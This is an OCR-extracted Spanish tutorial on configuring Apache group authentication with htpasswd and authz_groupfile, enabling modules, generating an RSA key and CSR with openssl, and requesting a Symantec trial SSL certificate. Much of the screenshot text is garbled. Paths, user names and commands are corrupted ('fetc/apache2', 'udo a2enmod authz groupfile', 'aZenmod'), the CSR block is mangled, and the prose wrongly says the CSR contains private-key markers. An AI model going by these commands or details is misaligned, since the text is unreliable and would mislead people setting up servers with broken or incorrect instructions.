Otra forma, es autentificar por grupos. Simplemente seria crear el fichero de grupo
con el editor nano.

R alumno@lubuntu: /fetc/apache2/passwd

Archivo Edicion Pestanas Avyuda

udo nano authgroup

Metemos los grupos y usuarios que queramos, en este caso el grupo privado con
los usuarios hacker02 y hacker03 y el grupo otro con el usuario hacker04.
B alumno®@lubuntu: fetc/apache2/passwd

Archivo Edicion Pestanas Ayuda

GNU nano 2.2.6 Archivo: authgroups

Ahora creo los tres usuarios que aparecen en la anterior pantalla y les asigno sus
contrasenas.
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| el sudo htpasswd /etc/apache2/passwd/.htpasswd hackere2

ssword fﬁr a

Lol }
umnao :

1

fs&dui pa

idding password for user hackere2

alumno@lubuntu: fetc/apache2/passwd$ sudo htpasswd /etc/apache2/passwd/.htpasswd hackere3
ew password:

Re-type new password:

Adding password for user hackere3
alumno@lubuntu: /etc/apache2/passwds sudo htpaz

Ahora vamos al conf del site y descomentamos las lineas del grupo y comento la
de usuarios validados para que la autentificacion sea por grupos en vez de usuarios
individuales.

GNU nano 2.2.6

Archivo: aprendeahackear.conf

A 4
! 1Valuo

ﬁuthéruup#ile fetc!apache:;passudkaufﬁgruup5
Require valid-user
Require group privado

£ Vel AYUda L Guargarl E | B F 1Ch ._:-.::-r;-.l-l'-'_ ; 1 Cor
al { = 1 1 1 =4 4+ = L » D=m I F.

F

Activamos el modulo de grupos que tiene Apache con el comando sudo a2enmod
authz_groupfile.
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Eu alumno@lubuntu: /etc/apache2
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' | udo a2enmod authz groupfile

Si accedemos con el primer usuario, que no esta en ningun grupo de los creados,
saldra fallo de autentificacion, pidiendo constantemente usuario y contrasefia. Si
metes uno de los usuarios creados de uno de los grupos, accedera sin problemas.

o Mozilla Firefox -

htﬂ.l. ;.-.l:J-‘l'llli.'-i-'l"d‘l.'-h.J'. LIMaex. l-'t‘T'I' .1 +
& ” aprendeahackear.com v B~ Q &+ 8 %+ #®

Sitio SI seguro por puerto 443. Usara SSL. Acceso a la carpeta curso con autentificacion de
usuario.

Generar Certificado SSL validado.

Ahora vamos a generar un certificado de prueba de VeriSign. Es de pago, pero
vamos a usar una version valida que dispondra de una corta validez, la cual
tendremos que renovar pagando si lo deseamos. Esto aporta una garantia de cara a
los clientes o usuarios que se conecten a nuestra web, ya que garantiza una
identidad real legalmente.

Antes debemos activar unos modulos necesarios y recargar el Apache. Los
maodulos son el proxy_html y el headers.

B alumno@lubuntu: fetc/apache2/mods-avallable

Archivo Edicion Pestanas Ayuda

udo a2enmod proxy html
onsidering dependency proxy for proxy html:
abling module proxy.
nabling module proxy html.
To activate the new configuration, you need to run:

service apache2 restart
Elma@lubuntu:fetcfapa:hezfmds-availablﬁ sudo aZenmod headers
nabling module headers.
To activate the new configuration, you need to run:

service apache2 restart
alumno@lubuntu: /etc/apache2/mods-available$ sudo /etc/init.d/ap

ache2 reload

Ahora generamos un CSR o peticiéon de certificado para nuestro site y le ponemos
una contrasefa.
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Bd alumno@lubuntu: Jetc/apache2/ssl
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' ' SN sudo openssl genrsa -des3 -out aprendeahackear.key 2048

Generamos el GEﬁiﬁCadﬂ'.pem para que no nos este pidiEﬂdﬂ constantemente la
contrasena.
B alumno@lubuntu: Jetcfapache2/ssl

Archive Edicion Pestafas Ayuda

Msudo openssl rsa -in aprendeahackear.key -out aprendeahackear.pem

N |
Ahora creamos el CSR con la clave o llave.El Common Name debe ser el dominio

de nuestra web.
Ed alumno@lubuntu: fetc/apachez/ssl

Archiva Edicion Pestafas Ayuda

msm openssl req -new -key aprendeahackear.key -out aprendeahackear.csr
Enter pass phrase for aprendeahackear.key:

You are about to be asked to enter information that will be incorporated
into your certificate request.
t you are about to enter is what is called a Distinguished Name or a DM.
re are quite a few fields but you can leave some blank
For some fields there will be a default value,

Country Name (2 letter code) [AU]:ES

tate or Province Name (full name) [Some-State]:Madrid

Locality Name (eg, city) []:Madrid

Organization Name (eg, company) [Internet Widgits Pty Ltd]:SION
Organizational Unit Name (eg, section) []:Technical

ommon Name (e.g. server FODN or YOUR name) []:aprendeahackear.com

Editamos el archivo con extension csr y lo copiamos, incluido el ---—- BEGIN
PRIVATE KEY----- y @] «==-- END PRIVATE KEY-----
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¥} alumno@lubuntu: fetc/apache2/ssl

Archivo Edicion Pestanas Ayuda

GNU nano 2.2.6

----BEGIN CERTIFICATE REQUEST-----

HI1bmR1YWhhY2t 1YXJwdWS08b2NvbUBNbWFpbC5jb

Archivo: aprendeahackear.csr

IIDBjCCAe4CAQAwWgalIxCzAIBgNVBAYTAKVTMQ8WDQYDVQQIDAZNYWRyaWQxDzAN
3gNVBACMBK 1hZHIpZDENMASGA1UECgWEUB LPT j ESMBAGATUECWWIVGV j aG5pY2Fs
RwWGQYDVQQDDBNhCHI LbmRLYWhhY2t 1 YXIuY29tMTAWLGYIKoZIhvcNAQKBFiFh

Ib3DQEB

20wggEiMABGCSGS

AQUAA4IBDWAWGGEKAOIBAQCYSOYBNT+r6ATWPMzGC2IhH1454mUd j 812BOUCUrqgQ
>PtBngGINRbzaTNbyhIDNQCiQQGNUULX1yThsbxycn33ZDc6IQj z0GCVPs4z+LoD
FMHWMPSEWMnFtMPSpnjEsBI?on:anMm
rXteYsI3a+R9Qfq3HLPLYSfONgWQHAThy rhWDphObzHHpSs /TVmBPT t9muFZ83/3
994C6Etz4gkIFBrtbEB7FhCIdVB16TI0XUpUIRW2DS 12+1QLZDSXKAU1LMWVKZST
m;mmmmmmwmmbwhufwjmkqhuﬁ

9wOBCQCXDWWNU2VNdXIpZGFkMj AXNDANBgkghkiG9wOBAQs FAAOCAQEAENNAUASD

ZLQ5L3xvA4jdHQ==
----- END CERTIFICATE REQUEST-----

0+GQBdW3hsYnsPKuwCvPjGgror7PsUmRPWLNBksyA5]65]38/b3uTVmSTRwVB0C
0g3JJfFCoco41ZcmtQC6ITHIm76QuF rXmLOXXPABSAP+UIirxnNY4eYbAXD3UMW
NnQrh+3Y8ol+UYOrJowBZLoZEKPtvmv60XTyo8A4IGKAUCWD+7nWFoGZMM/GCQ
Rtyz8D19y40sF10yzj i6YHHCC1FcK1bLL+alvrdkppSFSTPZHSBMBYX j RWWiXW
cVPbhDk7qp2FKmOQtbz6vv09pmaKj kgVVRNO6FoFdS6Nbqgw/ ynE2eYG1BNyGdF

Lo primero vamos a https://www.verisgn.es/ts-sem-page/index.html y damos a la
opcion de la derecha donde pone Pruebe SSL gratis.
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Luego nos pedira unos datos personales, ponemos lo que queramos, pero
ponemos un mail valido. Damos a continuar. En la siguiente pantalla saldra lo
siguiente, hay un desplegable en el que marcamos Apache.

)

€ & Symantec Corporation (US) rity.syman v & B~

—

Prueba gratui:ta > 1 d fon » 3] Solicitud de firma de certificado [CSR)

introduzca la solicitud de firma de certificados (CSR, Certificate Signing Request).

Plataforma de servidor: CSR de muestra
> <BEGIN CERTIFCATE RESUEST:
Apa C h [ R MR OO AL HCMﬁmfan By VBAYTANWT M Rew FOYDWOSIEAT 0o J0=C B0 Uy
- I:lSlu‘JTEGﬂMGMiJE W U FeZWira D Edil Bt 1 UWECH M LN Gand 3RUE Mt 1 BH

Rptrmogy2 MaGeAZ BgN VA TER 1o IRoorpcgR GAw Y XI0 B VudD B MC EGAT UEAx Madm
eSS (F il Sl Lo RoYRZS502 Wl a2 e MAQED O AM G
AoEEAMaNIC YN WZpwEGU Vo KEAT HLATS i 3 v ToS oo tbeUzoG0 3L ZScT Ui
DaenTZOMOT TuT Jroefayh Moe2 PO PIRPEAT rOF Y s olrmgH ¢ wR S wTWdel
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ENDCERTWFICATE REQGUES

Pegue la solicitud de firma de certificados (CSR, Certificate Signing Request): w

Le pegamos el contenido que teniamos copiado del archivo con extension .csr.

Damos al boton Continuar y nos muestra los datos para confirmar. Le damos a
Enviar.
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-(- B Symantec Corporation (US) htt { tcent el e JSymanl = Hf' e Q ‘ﬁ' E & w
Y Symantec. Irust Lenter | Espana |

Prueba gratuita * ‘ > - > 4) Resumen Chat With Us
informacion de contacto aprendeaha
Comtaclo técnico
Javies Blanco Detalles del pedido
N e g Certificado SSL de prueba |
EM_BEE Srm.m.:—

ACUERDO DEL SUSCRIPTOR Y DE PRIVACIDAD o Pevinderce walex: 30 See

Al marcar ia casiiia de seieccidn para scepmr ios Erminos de este acuerdo. confirma que ha leioo ate nEmenie Total: (Prusba gratuita)
compeende y acepta los wrminos del acuerdo de susctipior de cerifficada SSL . incluida nuesta geciyracion de
pivacidad En pamicular, acepla que: 1) Symantec Tansfiera sus datos a otas jurisdicciones donde Symaniec

mantiene una presencia: y (2) Symantec conbinie con 10s analisis Inchndos como parte de la compra BlorAL il Sl bl o
B Acepwo los ierminos del contrato

Nombre comun: aprende
Organizacion: SION
Unidad organaativa: Tect

Totak 0 EUR (Prasba gastuitn] -:Al:ri:| muhrl Enviar Ciudadiocalidad: Madid
e Estado: Madnid
Pats: Espafia
Nos confirmara con un niumero de referencia y el dominio web.
(' 8 Symantec Corporation (US)  https://trustcenter.websecurit syman| v C B~ o \gle (m|

\/Symantec. Trust Center { Espana

Gracias por completar su pedido ™ version para nptimic

Symantec™ ha procesado su solicitud. Recibira el certificado SSL de prueba y |las instrucciones de instalacion por
corneo electronico.

Para garantizar la entrega de los correos electronicos, anada auth_support@symantec.com a la libreta de
direcciones, la lista de remitentes de confianza o la lista blanca de companias.

Su numero de pedido es 796737068
Ha solicitado un cerificado para aprendeahackear.com

Descripcion del producto

Cenificado SSL de prueba de Symantec™
El cenificado SSL seguro para servidores de no produccion permite un cifrado SSL de hasta 256 bits

Periodo de validez: 30 dias
Total: 0 EUR (Prueba gretuila)

En teoria deberia llegar un mail para descargarlo, pero como casi todo lo que toca
Symantec se jode o te causa problemas, me llega un mail diciendo que no puede
procesarlo. Logicamente antes de pagar una pasta debe probarse la version de
prueba en un servidor de preproduccion. Cuando las versiones de prueba dan fallos,
te recomiendo que jamas compres la version de pago, tendras grandes problemas y
el soporte no suele responder correctamente.
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Si lograis descargario, en Windows se instalaria en el siguiente lado. Para eso
antes ejecutais certmsg.msc en Inicio, Ejecutar.

es 2@ 0 c = B

) Centificados - Usuario actual Emitido para = | Emitido por Fecha de expir...
_j :"”“":"i de certificacion rail| 4 Baltimore CyberTrust Root Baltimore CyberTrust Root 13/05/2025
"] a e certimicac BL | — CA
;j“hdc e o) Certum CA Certum 11/06/2027

U Class 3 Public Primary Centificatio... Class 3 Public Primary Certificatio... 02/08/2028
(sl Copyright (c) 1997 Microsoft Corp. Copyright (c) 1997 Microsoft Corp.  31/12/1999
> B Objeto de io de Active [ ) cursosegundad-SERVER2008-CA cursosegundad-SERVER2008-CA 12/03/2020
» () Editores de confianzs 5 DigiCert Assured ID Root CA DigiCert Assured ID Root CA 10/11/2031
. ] Centificados en los que no se [ DigiCert High Assurance EV Root ... DigiCert High Assurance EV Root ... 10/11/2031
. ] Entidades de certificacion rai: L_.“]qu..llfu Secure Centificate Authonity Equifax Secure Certificate Authonty 22/08/2018

» | Confianza empresarial
I+ | Entidades de certificacion int

28/01/2028
14/08/2018

01/01/2000

7  [Escriba el nombre del programa, carpets, documento o [Microsoft Root Authority 31/12/2020
=1 recurso de Internet que desea abrir con Windows. Microsoft Root Certificate Authori... 10/05/2021
INO LIABILITY ACCEPTED, ()97 V... 08/01/2004

Abnr: d swie Timestamping CA 01/01/2021

‘enSign Class 3 Public Pamary Ce... 17/07/2036

10:41
13042015
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